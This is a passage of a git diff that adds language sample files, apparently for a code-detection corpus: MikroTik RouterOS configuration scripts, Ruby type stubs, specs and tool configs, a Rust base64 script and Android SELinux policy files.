+                         /interface detect-internet set detect-interface-list=none
+                         /interface detect-internet set lan-interface-list=none
+                         /interface detect-internet set wan-interface-list=none
+                         /interface detect-internet set internet-interface-list=none
+                         /interface list remove [find comment~"defconf"]
+                         /tool mac-server set allowed-interface-list=all
+                         /tool mac-server mac-winbox set allowed-interface-list=all
+                         /ip neighbor discovery-settings set discover-interface-list=!dynamic
+                           :local o [/ip dhcp-server network find comment="defconf"]
+                           :if ([:len $o] != 0) do={ /ip dhcp-server network remove $o }
+                           :local o [/ip dhcp-server find name="defconf" !disabled]
+                           :if ([:len $o] != 0) do={ /ip dhcp-server remove $o }
+                           /ip pool {
+                             :local o [find name="default-dhcp" ranges=192.168.88.10-192.168.88.254]
+                             :if ([:len $o] != 0) do={ remove $o }
+                           }
+                           :local o [/ip dhcp-client find comment="defconf"]
+                           :if ([:len $o] != 0) do={ /ip dhcp-client remove $o }
+                         /ip dns {
+                           set allow-remote-requests=no
+                           :local o [static find comment="defconf"]
+                           :if ([:len $o] != 0) do={ static remove $o }
+                         }
+                         /ip address {
+                           :local o [find comment="defconf"]
+                           :if ([:len $o] != 0) do={ remove $o }
+                         }
+                         :foreach iface in=[/interface ethernet find] do={
+                           /interface ethernet set $iface name=[get $iface default-name]
+                         }
+                         /interface bridge port remove [find comment="defconf"]
+                         /interface bridge remove [find comment="defconf"]
+                         /interface bonding remove [find comment="defconf"]
+                         /interface wireless cap set enabled=no interfaces="" caps-man-addresses=""
+                          /caps-man manager set enabled=no
+                          /caps-man manager interface remove [find comment="defconf"]
+                          /caps-man manager interface set [ find default=yes ] forbid=no
+                          /caps-man provisioning remove [find comment="defconf"]
+                          /caps-man configuration remove [find comment="defconf"]
+                          /caps-man security remove [find comment="defconf"]
+                        }
+                        :log info Defconf_script_finished;
+                        :set defconfMode;
+                        
+      caps-mode-script: #-------------------------------------------------------------------------------
+                        # Note: script will not execute at all (will throw a syntax error) if
+                        #       dhcp or wireless-fp packages are not installed
+                        #-------------------------------------------------------------------------------
+                        
+                        #| CAP configuration
+                        #|
+                        #|   Wireless interfaces are set to be managed by CAPsMAN.
+                        #|   All ethernet interfaces and CAPsMAN managed interfaces are bridged.
+                        #|   DHCP client is set on bridge interface.
+                        
+                        # bridge port name
+                        :global brName  "bridgeLocal";
+                        :global logPref "defconf:";
+                        
+                        
+                        :global action;
+                        
+                        :log info $action
+                        
+                        :if ($action = "apply") do={
+                        
+                          # wait for ethernet interfaces
+                          :local count 0;
+                          :while ([/interface ethernet find] = "") do={
+                            :if ($count = 30) do={
+                              :log warning "DefConf: Unable to find ethernet interfaces";
+                              /quit;
+                            }
+                            :delay 1s; :set count ($count + 1);
+                          }
+                        
+                          :local macSet 0;
+                          :local tmpMac "";
+                        
+                          :foreach k in=[/interface ethernet find] do={
+                            # first ethernet is found; add bridge and set mac address of the ethernet port
+                            :if ($macSet = 0) do={
+                              :set tmpMac [/interface ethernet get $k mac-address];
+                              /interface bridge add name=$brName auto-mac=no admin-mac=$tmpMac comment="defconf";
+                              :set macSet 1;
+                            }
+                            # add bridge ports
+                            /interface bridge port add bridge=$brName interface=$k comment="defconf"
+                          }
+                        
+                          # try to add dhcp client on bridge interface (may fail if already exist)
+                          :do {
+                            /ip dhcp-client add interface=$brName disabled=no comment="defconf"
+                          } on-error={ :log warning "$logPref unable to add dhcp client";}
+                        
+                        
+                          # try to configure caps (may fail if for example specified interfaces are missing)
+                          :local interfacesList "";
+                          :local bFirst 1;
+                        
+                          # wait for wireless interfaces
+                          :while ([/interface wireless find] = "") do={
+                            :if ($count = 30) do={
+                              :log warning "DefConf: Unable to find wireless interfaces";
+                              /quit;
+                            }
+                            :delay 1s; :set count ($count + 1);
+                          }
+                        
+                          # delay just to make sure that all wireless interfaces are loaded
+                          :delay 5s;
+                          :foreach i in=[/interface wireless find] do={
+                            if ($bFirst = 1) do={
+                              :set interfacesList [/interface wireless get $i name];
+                              :set bFirst 0;
+                            } else={
+                              :set interfacesList "$interfacesList,$[/interface wireless get $i name]";
+                            }
+                          }
+                          :do {
+                            /interface wireless cap
+                              set enabled=yes interfaces=$interfacesList discovery-interfaces=$brName bridge=$brName
+                          } on-error={ :log warning "$logPref unable to configure caps";}
+                        
+                        }
+                        
+                        :if ($action = "revert") do={
+                          :do {
+                            /interface wireless cap
+                              set enabled=no interfaces="" discovery-interfaces="" bridge=none
+                          } on-error={ :log warning "$logPref unable to unset caps";}
+                        
+                          :local o [/ip dhcp-client find comment="defconf"]
+                          :if ([:len $o] != 0) do={ /ip dhcp-client remove $o }
+                        
+                          /interface bridge port remove [find comment="defconf"]
+                          /interface bridge remove [find comment="defconf"]
+                        
+                        }
+  wps-sync-mode-script: #-------------------------------------------------------------------------------
+                        # Note: script will not execute at all (will throw a syntax error) if
+                        #       dhcp or wireless-fp packages are not installed
+                        #-------------------------------------------------------------------------------
+                        
+                        #| WPS Sync Configuration:
+                        #|  * Wireless and ethernet interfaces bridged with enabled DHCP client
+                        #|  * wlan1/2 access points and wlan3 wps sync repeater
+                        #| Wireless: CAP enabled on wlan1/2
+                        #| WPS Sync:
+                        #|     mode:          repeater;
+                        #| LAN Configuration:
+                        #|     DHCP client: enabled;
+                        
+                        
+                        # bridge port name
+                        :global brName  "bridgeLocal";
+                        :global logPref "defconf:";
+                        :global ssid;
+                        
+                        :global action;
+                        
+                        :log info $action
+                        
+                        :if ($action = "apply") do={
+                        
+                          # wait for ethernet interfaces
+                          :local count 0;
+                          :while ([/interface ethernet find] = "") do={
+                            :if ($count = 30) do={
+                              :log warning "DefConf: Unable to find ethernet interfaces";
+                              /quit;
+                            }
+                            :delay 1s; :set count ($count + 1);
+                          }
+                        
+                          :local macSet 0;
+                          :local tmpMac "";
+                        
+                          :foreach k in=[/interface ethernet find] do={
+                            # first ethernet is found; add bridge and set mac address of the ethernet port
+                            :if ($macSet = 0) do={
+                              :set tmpMac [/interface ethernet get $k mac-address];
+                              /interface bridge add name=$brName auto-mac=no admin-mac=$tmpMac comment="defconf";
+                              :set macSet 1;
+                            }
+                            # add bridge ports
+                            /interface bridge port add bridge=$brName interface=$k comment="defconf"
+                          }
+                        
+                          # try to add dhcp client on bridge interface (may fail if already exist)
+                          :do {
+                            /ip dhcp-client add interface=$brName disabled=no comment="defconf"
+                          } on-error={ :log warning "$logPref unable to add dhcp client";}
+                        
+                        
+                          :local count 0;
+                          :while ([/interface wireless print count-only] < 3) do={
+                            :set count ($count +1);
+                            :if ($count = 40) do={
+                              :log warning "DefConf: Unable to find wireless interfaces";
+                              /ip address add address=192.168.88.1/24 interface=ether1 comment="defconf";
+                              /quit
+                            }
+                            :delay 1s;
+                          };
+                        
+                          :foreach k in=[/interface wireless find] do={
+                            # add bridge ports
+                            /interface bridge port add bridge=$brName interface=$k comment="defconf"
+                          }
+                        
+                          :local hwInfo [/interface wireless info hw-info [.. find where default-name="wlan3"] as-value];
+                          #:if (($hwInfo->"locked-countries")~"russia") do={
+                            /interface wireless set [find where default-name="wlan3"] channel-width=20/40mhz-XX band=5ghz-a/n/ac
+                          #} else={
+                          #  /interface wireless set [find where default-name="wlan3"] channel-width=20/40/80mhz-XXXX band=5ghz-a/n/ac
+                          #}
+                        
+                          /interface wireless cap
+                            set discovery-interfaces=bridgeLocal enabled=yes interfaces=wlan1,wlan2
+                          /interface wireless
+                            setup-repeater wlan3 duration=2m
+                        }
+                        
+                        :if ($action = "revert") do={
+                          :local o [/ip dhcp-client find comment="defconf"]
+                          :if ([:len $o] != 0) do={ /ip dhcp-client remove $o }
+                        
+                          /interface bridge port remove [find comment="defconf"]
+                          /interface bridge remove [find comment="defconf"]
+                        
+                          /interface wireless cap set enabled=no interfaces="" discovery-interfaces=""
+                          /interface wireless reset-configuration wlan1
+                          /interface wireless reset-configuration wlan2
+                          /interface wireless reset-configuration wlan3
+                        
+                        
+                        }
+                        
+                        :set brName;
+                        :set logPref;
+                        :set ssid;
+         custom-script: 
diff --git a/samples/RouterOS Script/vlans.rsc b/samples/RouterOS Script/vlans.rsc
new file mode 100644
index 0000000000..c80d9b92f2
--- /dev/null
+++ b/samples/RouterOS Script/vlans.rsc	
@@ -0,0 +1,22 @@
+# Taken from Mikrotik Wiki here
+# https://wiki.mikrotik.com/wiki/Manual:Basic_VLAN_switching#Other_devices_with_built-in_switch_chip
+
+/interface bridge
+add name=bridge1
+/interface bridge port
+add bridge=bridge1 interface=ether1 hw=yes
+add bridge=bridge1 interface=ether2 hw=yes
+add bridge=bridge1 interface=ether3 hw=yes
+/interface ethernet switch vlan
+add ports=ether1,ether2 switch=switch1 vlan-id=20
+add ports=ether1,ether3 switch=switch1 vlan-id=30
+add ports=ether1,switch1-cpu switch=switch1 vlan-id=99
+/interface vlan
+add interface=bridge1 vlan-id=99 name=MGMT
+/ip address
+add address=192.168.99.1/24 interface=MGMT
+/interface ethernet switch port
+set ether1 vlan-mode=secure vlan-header=add-if-missing
+set ether2 vlan-mode=secure vlan-header=always-strip default-vlan-id=20
+set ether3 vlan-mode=secure vlan-header=always-strip default-vlan-id=30
+set switch1-cpu vlan-header=leave-as-is vlan-mode=secure
diff --git a/samples/Ruby/actionmailer.rbi b/samples/Ruby/actionmailer.rbi
new file mode 100644
index 0000000000..f248d7c065
--- /dev/null
+++ b/samples/Ruby/actionmailer.rbi
@@ -0,0 +1,10 @@
+# typed: strict
+
+# DO NOT EDIT MANUALLY
+# This file was pulled from a central RBI files repository.
+# Please run `bin/tapioca annotations` to update it.
+
+class ActionMailer::Base
+  sig { params(headers: T.untyped).returns(ActionMailer::MessageDelivery) }
+  def mail(headers = nil, &block); end
+end
diff --git a/samples/Ruby/address.pdf.prawn b/samples/Ruby/address.pdf.prawn
new file mode 100644
index 0000000000..951e5c96f4
--- /dev/null
+++ b/samples/Ruby/address.pdf.prawn
@@ -0,0 +1,48 @@
+# Address Stuff
+
+bill_address = @order.bill_address
+ship_address = @order.ship_address
+anonymous = @order.email =~ /@example.net$/
+
+
+def address_info(address)
+  info = %Q{
+    #{SolidusSupport.combined_first_and_last_name_in_address? ? address.name : address.full_name}
+    #{address.address1}
+  }
+
+  info += "#{address.address2}\n" if address.address2.present?
+  state = address.state ? address.state.abbr : ""
+  info += "#{address.zipcode} #{address.city} #{state}\n"
+  info += "#{address.country.name}\n"
+  info += "#{address.phone}\n"
+  info.strip
+end
+
+
+data = [
+  [I18n.t('spree.billing_address'), I18n.t('spree.shipping_address')],
+  [address_info(bill_address), address_info(ship_address) + "\n\nvia #{@order.shipments.first.shipping_method.name}"]
+]
+
+move_down 75
+table(data, :width => 540) do
+  row(0).font_style = :bold
+
+  # Billing address header
+  row(0).column(0).borders = [:top, :right, :bottom, :left]
+  row(0).column(0).border_widths = [0.5, 0, 0.5, 0.5]
+
+  # Shipping address header
+  row(0).column(1).borders = [:top, :right, :bottom, :left]
+  row(0).column(1).border_widths = [0.5, 0.5, 0.5, 0]
+
+  # Bill address information
+  row(1).column(0).borders = [:top, :right, :bottom, :left]
+  row(1).column(0).border_widths = [0.5, 0, 0.5, 0.5]
+
+  # Ship address information
+  row(1).column(1).borders = [:top, :right, :bottom, :left]
+  row(1).column(1).border_widths = [0.5, 0.5, 0.5, 0]
+
+end
diff --git a/samples/Ruby/any.spec b/samples/Ruby/any.spec
new file mode 100644
index 0000000000..501883143e
--- /dev/null
+++ b/samples/Ruby/any.spec
@@ -0,0 +1,44 @@
+require File.dirname(File.expand_path(__FILE__)) + '/../spec_helper'
+
+describe Spira::Types::Any do
+
+  before :all do
+    @uri = RDF::URI('http://example.org')
+  end
+
+  # this spec is going to be necessarily loose.  The 'Any' type is defined to
+  # use RDF.rb's automatic RDF Literal boxing and unboxing, which may or may
+  # not change between verions.
+  #
+  context "when serializing" do
+    it "should serialize literals to RDF Literals" do
+      serialized = Spira::Types::Any.serialize(15)
+      serialized.should be_a RDF::Literal
+      serialized = Spira::Types::Any.serialize("test")
+      serialized.should be_a RDF::Literal
+    end
+
+    it "should keep RDF::URIs as URIs" do
+      Spira::Types::Any.serialize(@uri).should == @uri
+    end
+
+    it "should fail to serialize collections" do
+      lambda { Spira::Types::Any.serialize([]) }.should raise_error TypeError
+    end
+  end
+
+  context "when unserializing" do
+    it "should unserialize to ruby types" do
+      value = Spira::Types::Any.unserialize(RDF::Literal.new(5, :datatype => RDF::XSD.integer))
+      value.should == 5
+      value = Spira::Types::Any.unserialize(RDF::Literal.new("a string"))
+      value.should == "a string"
+    end
+
+    it "should unserialize URIs to URIs" do
+      Spira::Types::Any.unserialize(@uri).should == @uri
+    end
+  end
+
+
+end
diff --git a/samples/Ruby/filenames/.irbrc b/samples/Ruby/filenames/.irbrc
new file mode 100644
index 0000000000..d5ead6a56f
--- /dev/null
+++ b/samples/Ruby/filenames/.irbrc
@@ -0,0 +1,2 @@
+require "pp"
+IRB.conf[:AUTO_INDENT] = true
diff --git a/samples/Ruby/filenames/.simplecov b/samples/Ruby/filenames/.simplecov
new file mode 100644
index 0000000000..181d115049
--- /dev/null
+++ b/samples/Ruby/filenames/.simplecov
@@ -0,0 +1,7 @@
+SimpleCov.add_group 'db', '/lib/mygem/db/'
+SimpleCov.add_group 'utils', '/lib/mygem/utils/'
+SimpleCov.add_group 'spec', '/spec/'
+
+SimpleCov.coverage_dir ENV.fetch('COVERAGE_DIR', 'coverage')
+SimpleCov.command_name $PROGRAM_NAME
+SimpleCov.merge_timeout 3600
diff --git a/samples/Ruby/filenames/Dangerfile b/samples/Ruby/filenames/Dangerfile
new file mode 100644
index 0000000000..f8ddfee977
--- /dev/null
+++ b/samples/Ruby/filenames/Dangerfile
@@ -0,0 +1,75 @@
+# Sometimes its a README fix, or something like that - which isn't relevant for
+# including in a CHANGELOG for example
+# From https://github.com/danger/danger/blob/master/Dangerfile
+
+has_app_changes = !git.modified_files.grep(/lib/).empty?
+has_test_changes = !git.modified_files.grep(/spec/).empty?
+is_version_bump = git.modified_files.sort == ["CHANGELOG.md", "lib/danger/version.rb"].sort
+
+if has_app_changes && !has_test_changes && !is_version_bump
+  warn("Tests were not updated", sticky: false)
+end
+
+# Thanks other people!
+message(":tada:") if is_version_bump && github.pr_author != "orta"
+
+# Make a note about contributors not in the organization
+unless github.api.organization_member?('danger', github.pr_author)
+  message "@#{github.pr_author} is not a contributor yet, would you like to join the Danger org?"
+
+  # Pay extra attention if they modify the gemspec
+  if git.modified_files.include?("*.gemspec")
+    warn "External contributor has edited the Gemspec"
+  end
+end
+
+# Mainly to encourage writing up some reasoning about the PR, rather than
+# just leaving a title
+if github.pr_body.length < 5
+  fail "Please provide a summary in the Pull Request description"
+end
+
+# Let people say that this isn't worth a CHANGELOG entry in the PR if they choose
+declared_trivial = (github.pr_title + github.pr_body).include?("#trivial") || !has_app_changes
+
+if !git.modified_files.include?("CHANGELOG.md") && !declared_trivial
+  fail("Please include a CHANGELOG entry. \nYou can find it at [CHANGELOG.md](https://github.com/danger/danger/blob/master/CHANGELOG.md).", sticky: false)
+end
+
+# Docs are critical, so let's re-run the docs part of the specs and show any issues:
+core_plugins_docs = `bundle exec danger plugins lint lib/danger/danger_core/plugins/*.rb --warnings-as-errors`
+
+# If it failed, fail the build, and include markdown with the output error.
+unless $?.success?
+  # We want to strip ANSI colors for our markdown, and make paths relative
+  colourless_error = core_plugins_docs.gsub(/\e\[(\d+)(;\d+)*m/, "")
+  markdown("### Core Docs Errors \n\n#{colourless_error}")
+  fail("Failing due to documentation issues, see below.", sticky: false)
+end
+
+# Oddly enough, it's quite possible to do some testing of Danger, inside Danger
+# So, you can ignore these, if you're looking at the Dangerfile to get ideas.
+#
+# If these are all empty something has gone wrong, better to raise it in a comment
+if git.modified_files.empty? && git.added_files.empty? && git.deleted_files.empty?
+  fail "This PR has no changes at all, this is likely an issue during development."
+end
+
+# This comes from `./danger_plugins/protect_files.rb` which is automatically parsed by Danger
+files.protect_files(path: "danger.gemspec", message: ".gemspec modified", fail_build: false)
+
+# Ensure that our core plugins all have 100% documentation
+core_plugins = Dir.glob("lib/danger/danger_core/plugins/*.rb")
+core_lint_output = `bundle exec yard stats #{core_plugins.join ' '} --list-undoc --tag tags`
+
+if !core_lint_output.include?("100.00%")
+  fail "The core plugins are not at 100% doc'd - see below:", sticky: false
+  markdown "```\n#{core_lint_output}```"
+elsif core_lint_output.include? "warning"
+  warn "The core plugins are have yard warnings - see below", sticky: false
+  markdown "```\n#{core_lint_output}```"
+end
+
+junit.parse "junit-results.xml"
+junit.headers = [:file, :name]
+junit.report
diff --git a/samples/Ruby/filenames/Gemfile.lock b/samples/Ruby/filenames/Gemfile.lock
deleted file mode 100644
index 2220802822..0000000000
--- a/samples/Ruby/filenames/Gemfile.lock
+++ /dev/null
@@ -1,42 +0,0 @@
-PATH
-  remote: .
-  specs:
-    github-linguist (4.0.1)
-      charlock_holmes (~> 0.7.3)
-      escape_utils (~> 1.0.1)
-      mime-types (>= 1.19)
-      rugged (~> 0.22.0b1)
-    github-linguist-grammars (4.0.1)
-
-GEM
-  remote: https://rubygems.org/
-  specs:
-    charlock_holmes (0.7.3)
-    coderay (1.1.0)
-    escape_utils (1.0.1)
-    metaclass (0.0.4)
-    method_source (0.8.2)
-    mime-types (2.4.3)
-    mocha (1.1.0)
-      metaclass (~> 0.0.1)
-    plist (3.1.0)
-    pry (0.10.1)
-      coderay (~> 1.1.0)
-      method_source (~> 0.8.1)
-      slop (~> 3.4)
-    rake (10.3.2)
-    rugged (0.22.0b1)
-    slop (3.6.0)
-    yajl-ruby (1.2.1)
-
-PLATFORMS
-  ruby
-
-DEPENDENCIES
-  github-linguist!
-  github-linguist-grammars!
-  mocha
-  plist (~> 3.1)
-  pry
-  rake
-  yajl-ruby
diff --git a/samples/Ruby/filenames/Steepfile b/samples/Ruby/filenames/Steepfile
new file mode 100644
index 0000000000..66e3aff7c4
--- /dev/null
+++ b/samples/Ruby/filenames/Steepfile
@@ -0,0 +1,27 @@
+D = Steep::Diagnostic
+
+target :lib do
+  signature 'sig'
+
+  check 'lib'                       # Directory name
+  check 'Gemfile'                   # File name
+  check 'app/models/**/*.rb'        # Glob
+  ignore 'lib/templates/*.rb'
+
+  library 'pathname', 'set'       # Standard libraries
+  library 'strong_json'           # Gems
+
+  configure_code_diagnostics(D::Ruby.strict)       # `strict` diagnostics setting
+  configure_code_diagnostics(D::Ruby.lenient)      # `lenient` diagnostics setting
+  configure_code_diagnostics do |hash|             # You can setup everything yourself
+    hash[D::Ruby::NoMethod] = :information
+  end
+end
+
+target :test do
+  signature 'sig', 'sig-private'
+
+  check 'test'
+
+  library 'pathname', 'set'       # Standard libraries
+end
diff --git a/samples/Ruby/gem_loader.rbi b/samples/Ruby/gem_loader.rbi
new file mode 100644
index 0000000000..adaa8f5882
--- /dev/null
+++ b/samples/Ruby/gem_loader.rbi
@@ -0,0 +1,15 @@
+# typed: true
+
+# Write this as an RBI because the gem_loader.rb file itself cannot be typed.
+# By nature, it references constants in other gems in an attempt to load them.
+# They will not load in this project. It's marked as `typed: ignore`, and this
+# file exists so that we can call into gem_loader from typed code.
+
+class Sorbet::Private::GemLoader
+  sig {params(gem: String).void}
+  def self.require_gem(gem)
+  end
+
+  sig {void}
+  def self.require_all_gems; end
+end
diff --git a/samples/Ruby/rails@7.0.3.1.rbi b/samples/Ruby/rails@7.0.3.1.rbi
new file mode 100644
index 0000000000..a789f59183
--- /dev/null
+++ b/samples/Ruby/rails@7.0.3.1.rbi
@@ -0,0 +1,8 @@
+# typed: true
+
+# DO NOT EDIT MANUALLY
+# This is an autogenerated file for types exported from the `rails` gem.
+# Please instead update this file by running `bin/tapioca gem rails`.
+
+# THIS IS AN EMPTY RBI FILE.
+# see https://github.com/Shopify/tapioca#manually-requiring-parts-of-a-gem
diff --git a/samples/Ruby/rendering.rbi b/samples/Ruby/rendering.rbi
new file mode 100644
index 0000000000..b6458761d5
--- /dev/null
+++ b/samples/Ruby/rendering.rbi
@@ -0,0 +1,9 @@
+# typed: true
+
+# DO NOT EDIT MANUALLY
+# This is an autogenerated file for dynamic methods in `AbstractController::Rendering`.
+# Please instead update this file by running `bin/tapioca dsl AbstractController::Rendering`.
+
+module AbstractController::Rendering
+  mixes_in_class_methods ::ActionView::ViewPaths::ClassMethods
+end
diff --git a/samples/Ruby/ruby3 b/samples/Ruby/ruby3
new file mode 100755
index 0000000000..61315174ae
--- /dev/null
+++ b/samples/Ruby/ruby3
@@ -0,0 +1,2 @@
+#!/usr/bin/env -vS ruby -w -Ilib:test
+puts "Ruby"
diff --git a/samples/Rust/base64url b/samples/Rust/base64url
new file mode 100755
index 0000000000..d3622e76cf
--- /dev/null
+++ b/samples/Rust/base64url
@@ -0,0 +1,33 @@
+#!/usr/bin/env rust-script
+//! ```cargo
+//! [dependencies]
+//! base64-url = "1.1"
+//! ```
+
+use std::env;
+use std::io;
+use std::io::{Read, Write};
+
+fn main() -> io::Result<()> {
+    let args: Vec<String> = env::args().collect();
+    if args.len() != 2 || (args[1] != "decode" && args[1] != "encode") {
+        println!("Error: Specify either 'decode' or 'encode' as first and only argument");
+        ::std::process::exit(1);
+    }
+
+    if args[1] == "decode" {
+        let mut buffer = String::new();
+        io::stdin().read_to_string(&mut buffer)?;
+        let decoded = base64_url::decode(&buffer).expect("Error decoding");
+        io::stdout().write(&decoded).unwrap();
+        io::stdout().flush().unwrap();
+        println!("");
+    } else {
+        let mut buffer = String::new();
+        io::stdin().read_to_string(&mut buffer)?;
+        let encoded = base64_url::encode(&buffer);
+        println!("{}", encoded);
+    }
+
+    Ok(())
+}
diff --git a/samples/SELinux Policy/filenames/genfs_contexts b/samples/SELinux Policy/filenames/genfs_contexts
new file mode 100644
index 0000000000..007a20993a
--- /dev/null
+++ b/samples/SELinux Policy/filenames/genfs_contexts	
@@ -0,0 +1,71 @@
+# Label inodes with the fs label.
+genfscon rootfs / u:object_r:rootfs:s0
+# proc labeling can be further refined (longest matching prefix).
+genfscon proc / u:object_r:proc:s0
+genfscon proc /asound u:object_r:proc_asound:s0
+genfscon proc /bootconfig u:object_r:proc_bootconfig:s0
+genfscon proc /buddyinfo u:object_r:proc_buddyinfo:s0
+genfscon proc /cmdline u:object_r:proc_cmdline:s0
+genfscon proc /config.gz u:object_r:config_gz:s0
+genfscon proc /diskstats u:object_r:proc_diskstats:s0
+genfscon proc /filesystems u:object_r:proc_filesystems:s0
+genfscon proc /interrupts u:object_r:proc_interrupts:s0
+genfscon proc /iomem u:object_r:proc_iomem:s0
+genfscon proc /kallsyms u:object_r:proc_kallsyms:s0
+genfscon proc /keys u:object_r:proc_keys:s0
+genfscon proc /kmsg u:object_r:proc_kmsg:s0
+genfscon proc /loadavg u:object_r:proc_loadavg:s0
+genfscon proc /locks u:object_r:proc_locks:s0
+genfscon proc /lowmemorykiller u:object_r:proc_lowmemorykiller:s0
+
+genfscon fusectl / u:object_r:fusectlfs:s0
+
+# selinuxfs booleans can be individually labeled.
+genfscon selinuxfs / u:object_r:selinuxfs:s0
+genfscon cgroup / u:object_r:cgroup:s0
+genfscon cgroup2 / u:object_r:cgroup_v2:s0
+# sysfs labels can be set by userspace.
+genfscon sysfs / u:object_r:sysfs:s0
+genfscon sysfs /devices/cs_etm                    u:object_r:sysfs_devices_cs_etm:s0
+genfscon sysfs /devices/system/cpu u:object_r:sysfs_devices_system_cpu:s0
+genfscon sysfs /class/android_usb                 u:object_r:sysfs_android_usb:s0
+genfscon sysfs /class/extcon                      u:object_r:sysfs_extcon:s0
+genfscon sysfs /class/leds                        u:object_r:sysfs_leds:s0
+
+genfscon debugfs /kprobes                             u:object_r:debugfs_kprobes:s0
+genfscon debugfs /mmc0                                u:object_r:debugfs_mmc:s0
+genfscon debugfs /tracing                             u:object_r:debugfs_tracing_debug:s0
+genfscon tracefs /                                    u:object_r:debugfs_tracing_debug:s0
+genfscon debugfs /tracing/tracing_on                  u:object_r:debugfs_tracing:s0
+genfscon tracefs /tracing_on                          u:object_r:debugfs_tracing:s0
+genfscon debugfs /tracing/trace                       u:object_r:debugfs_tracing:s0
+genfscon tracefs /trace                               u:object_r:debugfs_tracing:s0
+genfscon debugfs /tracing/per_cpu/cpu                 u:object_r:debugfs_tracing:s0
+genfscon tracefs /per_cpu/cpu                         u:object_r:debugfs_tracing:s0
+
+genfscon debugfs /tracing/events/header_page                         u:object_r:debugfs_tracing:s0
+genfscon debugfs /tracing/events/f2fs/f2fs_get_data_block/           u:object_r:debugfs_tracing:s0
+genfscon debugfs /tracing/events/f2fs/f2fs_iget/                     u:object_r:debugfs_tracing:s0
+
+genfscon tracefs /events/header_page                         u:object_r:debugfs_tracing:s0
+genfscon tracefs /events/f2fs/f2fs_get_data_block/           u:object_r:debugfs_tracing:s0
+genfscon tracefs /events/f2fs/f2fs_iget/                     u:object_r:debugfs_tracing:s0
+
+genfscon tracefs /trace_clock                                            u:object_r:debugfs_tracing:s0
+genfscon tracefs /buffer_size_kb                                         u:object_r:debugfs_tracing:s0
+
+genfscon debugfs /kcov								 u:object_r:debugfs_kcov:s0
+
+genfscon securityfs / u:object_r:securityfs:s0
+
+genfscon binder /binder u:object_r:binder_device:s0
+genfscon binder /hwbinder u:object_r:hwbinder_device:s0
+genfscon binder /vndbinder u:object_r:vndbinder_device:s0
+genfscon binder /binder_logs u:object_r:binderfs_logs:s0
+genfscon binder /binder_logs/proc u:object_r:binderfs_logs_proc:s0
+
+genfscon inotifyfs / u:object_r:inotify:s0
+genfscon vfat / u:object_r:vfat:s0
+genfscon binder / u:object_r:binderfs:s0
+genfscon exfat / u:object_r:exfat:s0
+genfscon debugfs / u:object_r:debugfs:s0
diff --git a/samples/SELinux Policy/filenames/initial_sids b/samples/SELinux Policy/filenames/initial_sids
new file mode 100644
index 0000000000..91ac816ba7
--- /dev/null
+++ b/samples/SELinux Policy/filenames/initial_sids	
@@ -0,0 +1,35 @@
+# FLASK
+
+#
+# Define initial security identifiers
+#
+
+sid kernel
+sid security
+sid unlabeled
+sid fs
+sid file
+sid file_labels
+sid init
+sid any_socket
+sid port
+sid netif
+sid netmsg
+sid node
+sid igmp_packet
+sid icmp_socket
+sid tcp_socket
+sid sysctl_modprobe
+sid sysctl
+sid sysctl_fs
+sid sysctl_kernel
+sid sysctl_net
+sid sysctl_net_unix
+sid sysctl_vm
+sid sysctl_dev
+sid kmod
+sid policy
+sid scmp_packet
+sid devnull
+
+# FLASK
diff --git a/samples/SELinux Policy/filenames/security_classes b/samples/SELinux Policy/filenames/security_classes
new file mode 100644
index 0000000000..200b030cc8
--- /dev/null
+++ b/samples/SELinux Policy/filenames/security_classes	
@@ -0,0 +1,167 @@
+# FLASK
+
+#
+# Define the security object classes
+#
+
+# Classes marked as userspace are classes
+# for userspace object managers
+
+class security
+class process
+class system
+class capability
+
+# file-related classes
+class filesystem
+class file
+class anon_inode
+class dir
+class fd
+class lnk_file
+class chr_file
+class blk_file
+class sock_file
+class fifo_file
+
+# network-related classes
+class socket
+class tcp_socket
+class udp_socket
+class rawip_socket
+class node
+class netif
+class netlink_socket
+class packet_socket
+class key_socket
+class unix_stream_socket
+class unix_dgram_socket
+
+# sysv-ipc-related classes
+class sem
+class msg
+class msgq
+class shm
+class ipc
+
+# extended netlink sockets
+class netlink_route_socket
+class netlink_tcpdiag_socket
+class netlink_nflog_socket
+class netlink_xfrm_socket
+class netlink_selinux_socket
+class netlink_audit_socket
+class netlink_dnrt_socket
+
+# IPSec association
+class association
+
+# Updated Netlink class for KOBJECT_UEVENT family.
+class netlink_kobject_uevent_socket
+
+class appletalk_socket
+
+class packet
+
+# Kernel access key retention
+class key
+
+class dccp_socket
+
+class memprotect
+
+# network peer labels
+class peer
+
+# Capabilities >= 32
+class capability2
+
+# kernel services that need to override task security, e.g. cachefiles
+class kernel_service
+
+class tun_socket
+
+class binder
+
+# Updated netlink classes for more recent netlink protocols.
+class netlink_iscsi_socket
+class netlink_fib_lookup_socket
+class netlink_connector_socket
+class netlink_netfilter_socket
+class netlink_generic_socket
+class netlink_scsitransport_socket
+class netlink_rdma_socket
+class netlink_crypto_socket
+
+# Infiniband
+class infiniband_pkey
+class infiniband_endport
+
+# Capability checks when on a non-init user namespace
+class cap_userns
+class cap2_userns
+
+# New socket classes introduced by extended_socket_class policy capability.
+# These two were previously mapped to rawip_socket.
+class sctp_socket
+class icmp_socket
+# These were previously mapped to socket.
+class ax25_socket
+class ipx_socket
+class netrom_socket
+class atmpvc_socket
+class x25_socket
+class rose_socket
+class decnet_socket
+class atmsvc_socket
+class rds_socket
+class irda_socket
+class pppox_socket
+class llc_socket
+class can_socket
+class tipc_socket
+class bluetooth_socket
+class iucv_socket
+class rxrpc_socket
+class isdn_socket
+class phonet_socket
+class ieee802154_socket
+class caif_socket
+class alg_socket
+class nfc_socket
+class vsock_socket
+class kcm_socket
+class qipcrtr_socket
+class smc_socket
+
+class process2
+
+class bpf
+
+class xdp_socket
+
+class perf_event
+
+# Introduced in https://github.com/torvalds/linux/commit/59438b46471ae6cdfb761afc8c9beaf1e428a331
+class lockdown
+
+# Property service
+class property_service          # userspace
+
+# Service manager
+class service_manager           # userspace
+
+# hardware service manager      # userspace
+class hwservice_manager
+
+# Legacy Keystore key permissions
+class keystore_key              # userspace
+
+# Keystore 2.0 permissions
+class keystore2                 # userspace
+
+# Keystore 2.0 key permissions
+class keystore2_key             # userspace
+
+class drmservice                # userspace
+# FLASK
diff --git a/samples/SELinux Policy/fsck.te b/samples/SELinux Policy/fsck.te
new file mode 100644
index 0000000000..7a9fbeef14
--- /dev/null
+++ b/samples/SELinux Policy/fsck.te	
@@ -0,0 +1,68 @@
+# Any fsck program run by init
+type fsck, domain;
+type fsck_exec, system_file_type, exec_type, file_type;
+
+# /dev/__null__ created by init prior to policy load,
+# open fd inherited by fsck.
